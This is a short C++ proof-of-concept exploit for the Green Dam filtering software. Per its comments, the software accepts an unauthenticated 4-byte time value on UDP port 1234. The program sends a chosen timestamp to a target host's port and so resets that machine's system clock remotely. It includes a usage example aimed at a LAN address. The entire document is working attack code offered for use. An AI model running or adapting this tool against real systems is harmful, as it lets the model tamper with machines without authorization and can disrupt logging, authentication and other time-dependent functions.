Green Dam Change System Time

`// Green Dam listen on udp port 1234 and wait for the 4 bytes time value  
// We can send some bytes to change the time of the dest system  
// testgreendam[at]gmail.com  
  
  
#include <iostream>  
#include <boost/asio.hpp>  
#include <boost/date_time.hpp>  
  
int main(int argc, char* argv[])  
{  
try  
{  
if (argc != 3)  
{  
std::cerr << "Usage: testgd <host> <time_string>" << std::endl;  
std::cerr << "Example: testgd 192.168.0.12 \"2009-06-03 16:00:00.000\"" << std::endl;  
std::cerr << "Timezone is not calculated, please do it by yourself." << std::endl;  
std::cerr << "testgreendam[at]gmail.com" << std::endl;  
return -1;  
}  
  
using boost::asio::ip::udp;  
boost::asio::io_service io_service;  
udp::socket s(io_service, udp::endpoint(udp::v4(), 0));  
udp::endpoint dest(  
boost::asio::ip::address::from_string(argv[1]), 1234);  
  
boost::posix_time::ptime start(boost::gregorian::date(1900,1,1));  
// (2008-1-1) -- (2010-12-31)  
boost::posix_time::ptime end(boost::posix_time::time_from_string(argv[2]));  
boost::posix_time::time_duration sec_count = end - start;  
  
unsigned int i = htonl(sec_count.total_seconds());  
s.send_to(boost::asio::buffer((char*)&i, 4), dest);  
}  
catch (std::exception& e)  
{  
std::cerr << "Exception: " << e.what() << std::endl;  
return -1;  
}  
  
return 0;  
}  
  
`